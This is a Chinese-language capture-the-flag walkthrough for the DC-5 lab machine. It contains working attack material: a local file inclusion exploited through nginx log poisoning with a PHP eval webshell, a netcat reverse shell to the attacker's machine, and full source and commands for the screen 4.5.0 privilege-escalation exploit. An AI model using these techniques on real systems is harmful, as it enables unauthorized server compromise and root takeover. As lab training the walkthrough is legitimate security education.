DC-5靶场渗透测试安装拿旗思路过关分享(保姆级)

#下载安装过程

下载地址:链接:https://pan.baidu.com/s/1IyhlH4k-fcz6ze6TscUYJg?pwd=ibiy
提取码:ibiy

1.打开VM

 

 

点击重试

 

将桥接模式更改为nat

点击开启虚拟机

 选择是

看到login就代表着登录成功 了

一.信息收集

(1)使用nmap确定Dc-5主机ip地址

nmap -sP 192.168.222.0/24

 

这里由于我的网段是222所有我使用nmap -sP 192.168.222.0/24对整个网段存活的主机进行扫描

你的网段是多少就写多少,比如说如果你的网段是192.168.111.xxx。你就写192.168.111.0/24就可以了 以此类推。

由于我们Dc-5是后面搭建的,所以dhcp在分配的时候一般都是分的是后面的,也就是最大的数值。我 这里最大的数值是185,所以我初步判断dc-5的ip地址是192.168.222.185

(2)对192.168.222.185进行端口扫描

nmap -sV 192.168.222.185

对ip地址进行详情的版本扫描

发现开发端口 80,和111。

80一看就是web服务端口,所以我们就可以直接去访问。

这里我们不选择去111端口的原因是为什么呢?

因为刚开始我看到这个111端口也是非常激动的,当时经过一系列的测试发现这个111端口只是个障眼法,所以你们就不要去了。

(3)访问192.168.222.185:80

 

对前面四个页面进行观察,发现没有什么可疑利用 的点。

知道 来到第五个页面。发现他有个类似表单的地方。

 

然后随便写点数据进行提交看看

发现他会跳到有个thnk.you.php的界面 。并且把我们刚刚输入的值进行了传参。

那么传参的话到这里我的觉得既然有数据交互的地方那么会不会这里就存在sql注入和xss的漏洞。

而xss的触发条件是对方必须要触发这个条件我们就达不到了,所以我选择了sql注入。但是我在sql注入的时候,我先使用了sqlmap去跑,但是发现没有。于是我选择了手工是测试,在手工测试的时候还是没有找到漏洞。但是在我手工注入的时候发现了一个问题。就是发现页面有一个地方一直在刷新变化,每次我一提交他就变化一次。

(4)提交表单,“Copyright © 2020”一直变动

第一次提交

 下方是Copyright © 2018

再次进行第二次提交

 

第二次提交   下方是Copyright © 2019

那么这个opyright © 2019是 怎么来的呢?为什么他会发生变化呢?

来看以下这张图

1.一般我们会把绿色的部分称之为表头或者导航栏

2.把黄色的内容称之为内容

3.蓝色的部分称之为页脚

4.像有时候我们会发现在很多页面里面这个导航栏或者页脚这两者他可能是被写好然后包含在其他页面当中的,因为这两个页面都一样,比如说我有10个页面,这10个页面的页脚和导航栏都一样。

5.像这种情况下开发者就可以提前写好,这两个页面。比如说导航栏通常开发者都以head.php又或者叫nav.php来命令。而页脚的话的话常开发者都以footer.php又或者foot.php来此命名。那么到底他叫什么我们只能靠猜

假如说他的整体页面叫thankyou.php那么我们在代码中又该怎么完成呢?

看以下图片

 假设我们想在代码中去完成thankyou.php的时候,如果导航栏和页脚都是现成的话,一般开发者都会使用include进行包含,比如说他的导航栏叫head,那么开发就会include('head.php'),比如说他的页脚叫foot.php,那么开发者就会inclde('foot.php').这样我们的导航栏和页脚就不用再写了,直接调用就行。但是这只是我们一种猜测,为了能够复用,所以可以做文件包含。

并且当我们刷新页面时,会发现这里一直在变动 。

那么如果他写死的话,比如说他写死的内容是“Copyright © 2017”,那么这个Copyright © 2017他就不会一直变动,一会变成2017一会变成2020...,所以根据他的页面的效果来判断,高度怀疑他存在include('foot.php')这种文件包含。但是他底部的文件包含,也就是页尾的文件包含,他的文件到底是叫foot.php还是footer.php还是其他的文件名,我们都不知道。当然这只是我的怀疑,他只是存在文件包含,所以还得经过尝试他可以确定。那么如果怀疑的话文件包含他是需要传参的,参数又该如何写呢?一般情况下参数的写法应该是thankyou.php?file=foot.php.。但是file和foot.php都是我们假设的参数名。file是我们假设的键名,foot.php也是 我们假设的键值。所以如果假设他是我们设定的thankyou.php?file=foot.php.。那么foot.php就是传递进来的值,那么就可以做文件包含了。所以这里也是可能存在文件传参的,那么如果存在参数传递的话这时候就好办了,那么说明他一定存在了文件包含漏洞。但是以上都是我们的猜测,到底他是不是采用的我们假设的这种方式,我们需要不断的去尝试。现在我们就需要去尝试猜测他页脚的文件的文件名到底是什么

(5)使用御剑后台扫描工具或者dirsearch对目录进行探测

dirsearch安装和使用_小小小维的博客-CSDN博客

 命令:

python dirsearch.py -u 你DC-5的ip地址

(由于我下午突然系统奔溃了ip也重新分配了,怕一些初学者看不懂我这里备注下,御剑刚刚才发现也没了。你们自己安装下也可以的。你也可以只使用dirsearch,我用两个是为了双保险,看有没有别的东西没有扫到的,所以用两个。)

注意这里,他扫描出来了一个footer.php。对他进行访问

 

再次刷新页面,我们可以出他的变化和我们在thankyou.php的变化是比较相识的

 怀疑在thank.you.php的文件中包含了footer.php,而且通过传参是可以传递进来的。

那么现在路径和文件名我们知道了,键值也知道了,但是键名我们还是不得而已

已知信息组成的url

thankyou.php?xxx=footer.php。

所以下一步我们就要对这个xxx键名进行猜测

(6)使用手工或者fuzz对键名进行猜测。

使用kali自带的fuzz:

首先我们先要确定这个网站已经存在的文件,比如index.php,还有solutions.php等。

我是已经知道他的键名是file。

##http://192.168.189.129/thankyou.php?file=index.php

先来访问这个url

 这是thankyou.php的界面,键名是file。键值是index.php。

重点这个index.php因为index.php是确定存在的文件,如果这里存在文件包含的漏洞,那么我们这个这个index.php一定会被包含进去了。

注意这张图片,绿色的部分是我们原来thankyou.php的界面。而红色的部分是index.php的界面。那么这个界面是怎么来的,就是通过我们 ##http://192.168.189.129/thankyou.php?file=index.php,这里传参进来的,把首页的index.php的代码,放在thankyou.php这个界面进行解析了。

以上我们知道他键名file的情况下,那么 在不知道键名的情况下我们又改如何操作?

使用wfuzz工具kali自带

打开kali,直接在kali终端输入:wfuzz

命令:FUZZ

 这里如果报错的话你就切换root使用

 命令:

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.189.129/thankyou.php?FUZZ=index.php

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.189.129/thankyou.php?FUZZ=index.php

wfuzz:程序
-w :指定文件

/usr/share/wfuzz/wordlist/general/common.txt:这个文件是系统自带的,用就行了

http://192.168.189.129:你自己设置DC-5的ip地址

thankyou.php?FUZZ=index.php :确定网站目录下有个存在的文件index.php
用FUZZ这个关键词当作一个未知的东西,然后使用
/usr/share/wfuzz/wordlist/general/common.txt 这里的字典,
放在FUZZ的位置上不断的去跑。如果还你不理解的话
,你就把fuzz这个当作为bp中你设置的变量,
/usr/share/wfuzz/wordlist/general/common.txt就是你指定的爆破字典

来看这条结果。明显值和其他数值的不一样。所以我们通过关键词是file。

或者你可以使用fuzz的字典。然后用bp去跑

直接把fuzz的字典复制下来。

开启bp访问这个url,抓包

发送到Intruder模块中

将fuzz设置为一个变量

载入你刚刚复制好了fuzz字典

点击开始

手工:

url地址中有包含漏洞的特征键名:

?file=

?filename=

?home=

?path=

?page=

我们就可以根据这些常见的键名进行测试。

比如说我使用?file。那么进行测试的url就应该是:

#####http://192.168.189.129/thankyou.php?file=footer.php

 以上确定键名为file

二.渗透开始

(1)使用文件包含漏洞读取/etc/passwd目录

url:##http://192.168.189.129/thankyou.php?file=/etc/passwd

意味着现在我们通过文件包含拿到了服务器上的用户信息 。

但是仅仅只是看到信息,我们的目标是使用webshell的工具去控制他,可是我们从前面的页面来看并没有可以上传地方。那么应该怎么办呢?我们可以仔细的想一想,在之前信息收集的环节,我们收集到的信息是nginx的服务器,而不管是nginx还是apche等服务器,她们都有服务器日志记录,并且他们都有默认的路径。比如nginx的是/var/log/nginx/access.log,apahce的/var/log/apache/access.log,是只要他没有修改我们就可以去访问他的日志。不管你访问的是acces.log还是error.log都可以

那么访问的日志意义又何在呢,又和上传webshell又什么关系呢?

我们知道如果我们访问一个不存在的目录网页就会出现404的错误,并且会把这个错误的信息记录到access.log的日志中去,那么我们就可以利用这种思路。我们故意写一个错误的目录,然后在后面加上一句话代码。比如http://xxxx/ok <?php @eval($_POST['x'])?>,那么他就会把整个错误的信息记录到日志中去,就比如我们写的ok <?php @eval($_POST['x'])?>,既然他会记录到日志中去,那么日志是不是在他的服务器中,只我们的写代码可以被解析成功,我们就可以植入后门成功。

注意 :

这里不管你访问的是/var/log/nginx/access.log,还是/var/log/nginx/error.log,你需要注意的是access,log是记录你各种请求的日志,比如200,404,306等他是都可以记录的,你在上传webshell的时候可以随便写一个不存在的文件,或者直接写一句话木马都可以。然后你去访问/var/log/nginx/access.log,的时候都可以看到,比如说http:xxxx/wsxcwe<?php @eval(@_POST['x'])?>,也可以解析成功。但是如果你访问和上传webshell的地方是/var/log/nginx/error.log,那么你需要写一个存在的文件,比如http://xxxx/thanyou.php?xx<?php @eval($_POST['x']) ?>,你才可以 在/var/log/nginx/error.log,可以看到你写的这条记录

(2)确定是否存在默认日志路径

url:#http://192.168.189.129/thankyou.php?file=/var/log/nginx/access.log

从页面可以看出他的默认日志路径没有更改,并且给我们返回的结果。

(3)写入一句话木马

开启bp抓包,发送数据包。

 这里需要注意的是你不要在url中直接输入一句话木马,要不然会被url编码的!

在bp拦截下来然后在里面写一句话代码!!!

(4)访问日志目录

注意这里。此时我们的一句话木马已经写入进去了。为什么没有显示<?php @eval($_POST['x'])?>,说明这个代码已经被执行了也解析成功了。

(5)使用蚁剑进行连接

这里不推荐菜刀的原因是,菜刀只能连接windos,而蚁剑可以跨平台。所以选择蚁剑

url的地址就是你一句话木马被记录的日志地址,如果你是被access.log记录的就写access.log的地址,如果你是erro.log的话就写erro.log的地址。

密码就是你一句话密码设置的参数,我设置的是x。我就写x。

 

此时就连接成功。成功进入到dc-5靶场的web目录中了

我们对目录进行查看。发现部分目录都可以查看成功。

但是查看root目录的时候是看不到的,提示我们没有root权限。

(6)右键使用蚁剑终端,输入whoami命令

 

 输入whoami

发现我们当前只是网站用户,并不是root用户。

所以目前我们只能进入到web服务器上面 ,要执行的操作也是具备一定的限制的。因为我们不是root用户,只是一个www-data,只是一个网站用户,既然没有操作权限,那么只能提权,进行系统 渗透

(7)为了方便操作,蚁剑反弹shell到kali,在kali上连接上shell,进行后续的操作。

连接的目的是因为kali上的工具较多

(8)在kali上开启监听,终端输入命令nc-lvvp 1234

 命令:nc-lvvp 1234

这里意味着在kali启动了1234端口,等待dc-5去连他。

小复习:

一般,正向连接指的是攻击机连接靶机

反向连接指的是攻击机启动监听,等待靶机的连接。(用的较多,nc就是一款反向连接的工具)

(9)蚁剑中输入命令执行nc -e/bin/bash 192.168.189.130 1234

命令: nc -e/bin/bash 你kail的ip地址 1234

出现connect代表连接成功。

(10)在kali上输入python -c 'import pty;pty.spawn("/bin/bash")'【通过python启动一个交互的shell】

这时候无论是kali还是蚁剑都能够连接dc-5了。

命令:

python -c 'import pty;pty.spawn("/bin/bash")'

 所以什么叫交互呢?

就是无论你输入whomi还是id他都会有对应的结果。

那么通过kali连接dc-5和通过蚁剑连接dc-5是一样的,就是真机可以对dc-5他做控制,我们kali也能够对dc-5对他做控制。所以我们如果只看命令行工具的话,这两者的功能是重复的,那么我们蚁剑既然已经可以连接虚拟终端了,为什么还需要kali呢?

因为kali本身他攻击的工具更多,脚本更全面。蚁剑里面没有更多的工具,所以我们接下来的步骤还是要根据kali进行操作。两者结合起来之后,我们最终的目的就是拿到dc-5的管理权限。

(11)找到具有SUID的文件,文件用来提权。

命令:find / -perm -u=s -type f 2>/dev/null

find / :代表着我要在整个操作系统里面去找

-perm -u=s:代表着要找拥有suid文件的权限

-type f: 代表着是文件

2>/dev/null: 2叫错一个错误输出,输出到/dev,dev我们知道是设备,而null就是没有设备,换句话来说就是我不显示任何的错误输出

 以上列出的文件,都是具有suid权限的文件,意外着我们就要对这些文件做相关的操作了

 

 而在这些文件中,我们主要利用的是/bin/screen-4.5.0这个

screen他是一个软件,这个软件是有漏洞的,并且这个软件安装到了dc-5里面了,我们可以通过dc-5上面安装的screen这个软件进行提权。

为什么确定是screen有漏洞呢?

你自己网上一搜就出来了。

(12)重新打开一个终端,在kali中通过命令使用searchsploit工具查看screen-4.5.0的漏洞

这里一定要 注意啊!重新打开一个新的终端,不要使用我们之前的终端里进行操作!!!!

 

命令:searchsploit screen 4.5.0  

补充:

“searchsploit”是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。

Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,利用上面提到的命令就可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用。

基本搜索方法就是searchsploit+可能包含漏洞的软件/系统等等,对应回显存在的漏洞和用于渗透的脚本。
详情参考:searchsploit使用_Blankup的博客-CSDN博客

红色框被选中的后面写了个(Poc)的,Poc是验证的,验证在我们的目标上有没有这个漏洞,但是他不会攻击,只是相关的验证而已。如果你要攻击的话就要选择上面绿色的,他是exp脚本,这个脚本是41154.sh,我们使用他才可以进行攻击。那么针对于screnn4.5.0的攻击结果就是提权,也就是针对dc-5进行提权,拿到dc-5的root权限!

 (13)复制漏洞脚本到当前的目录

命令:searchsploit -m 41154 

出现以上的内容代表复制成功。

(14)查看41154.sh文件内容

命令: cat 41154.sh

针对sreent的脚本。

(14)复制的脚本没办法执行,所以需要将其拆分为多个文件处理。在kali的root文件夹下新建文件,命令为libhax.c。将41154.sh脚本中的第一部分内容复制到libhax.c文件

 

 

 

(15)将脚本中选中内容复制到libhax.c文件中

libhax.c的内容:(第一个文件)

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

 (16)将libhax.c文件ctrl s 保存,然后打开终端窗口,在终端窗口里执行命令

命令:gcc -fPIC -shared -ldl -o  libhax.so libhax.c

用来生产动态库文件libhax.so

.so是库文件,-o代表输出,使用.c文件 生成.so文件

不用管这个警告

使用ls查看。

libhax.so代表生成成功。

这是第一个文件,他是通过.c文件编译生成的

(17)在kali的root文件夹下新建文件,命名为rootshell.c,用来处理脚本中的第二部分内容

 

 (18)将41154.sh脚本中选中的部分,复制到rootshell.c文件中

(19)在rootshell.c文件中,第二行添加语句#include<unistd.h>,在文件的倒数第三行,删掉一个多余的NULL

rootshell.c的文件内容:(第二个文件内容)

#include <stdio.h>
#include <unistd.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL);
}

(20)保存并退出rootshell.c文件,在kali的终端窗户中,输入命令gcc -o rootshell rootshell.c    用来生成一个可执行的二进制文件

 此时我们使用.c文件 生成二进制文件成功了

命令:gcc -o rootshell rootshell.c

 

(21)新建dc5.sh文件

 

(22)将41154.sh脚本中的最后一部分内容,复制到dc5.sh文件中

复制到dc5.sh文件中

 ctrl  s保存退出。

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell        

如果你想要进行提权的话,需要将libhax.so,rootshell,dc5.sh这三个文件上传到dc-5靶场里面。

(23)将kali中libhax.so,rootshell,dc5.sh这三个文件,复制到windos中任意一个文件夹。

 

这里我由于是把这三个文件放在root的目录下,如果你出现以下这种情况

 

你就把这三个文件先复制到kali的桌面上

然后在把这三个文件从桌面复制到winods中

 (24)打开蚁剑,找到/tmp目录,右键上传文件。

找到/根目录,在根目录下找到tmp这个目录

右键上传文件

把这三个文件上传上去。

 通过上传到dc-5靶场中

(25)在kali反弹shell的窗口中,查看刚刚蚁剑上传的文件

命令:ls /tmp

你也可以在蚁剑的虚拟终端看

反正只要出现这三个文件就可以了 。

(26)kali反弹shell的窗孔中进入到/tmp目录,给dc5.sh文件添加可执行权限

命令 :cd /tmp

 先进入到tmp中去。

命令:chmod +x dc5.sh

给dc5.sh文件添加可执行权限

(27)执行dc5.sh

 

命令:./dc5.sh

出现#代表成功

注意的点:

前面我在做在这里的时候一直报一个错误,就是类似/lib64/libc.so.6: version GLIBC_2.XX' not found这样的一个报错。我做了4遍从头到尾,一直以为哪里出错了。第一次和第二次我都是用的22年版本的kali,出现这个错误。后面我又换了23年的kali还是出现这个错误。直到第四次我使用了21年的kali他就可以正常执行了。

所以如果你做到这里出现这个问题了,可以直接选择换成2021版本的kali。还有要注意的是,换成2021的kali后,直接使用root账户登录做实验!

 (28)访问dc-5靶场的root目录寻找flag

命令:cd /root

切换到root目录下

 

查看thisistheflag.txt这个文件

命令:cat thisistheflag.txt

 看到以上界面代表成功。你拿下flag了!!!

猜你喜欢

转载自blog.csdn.net/m0_72755466/article/details/131990636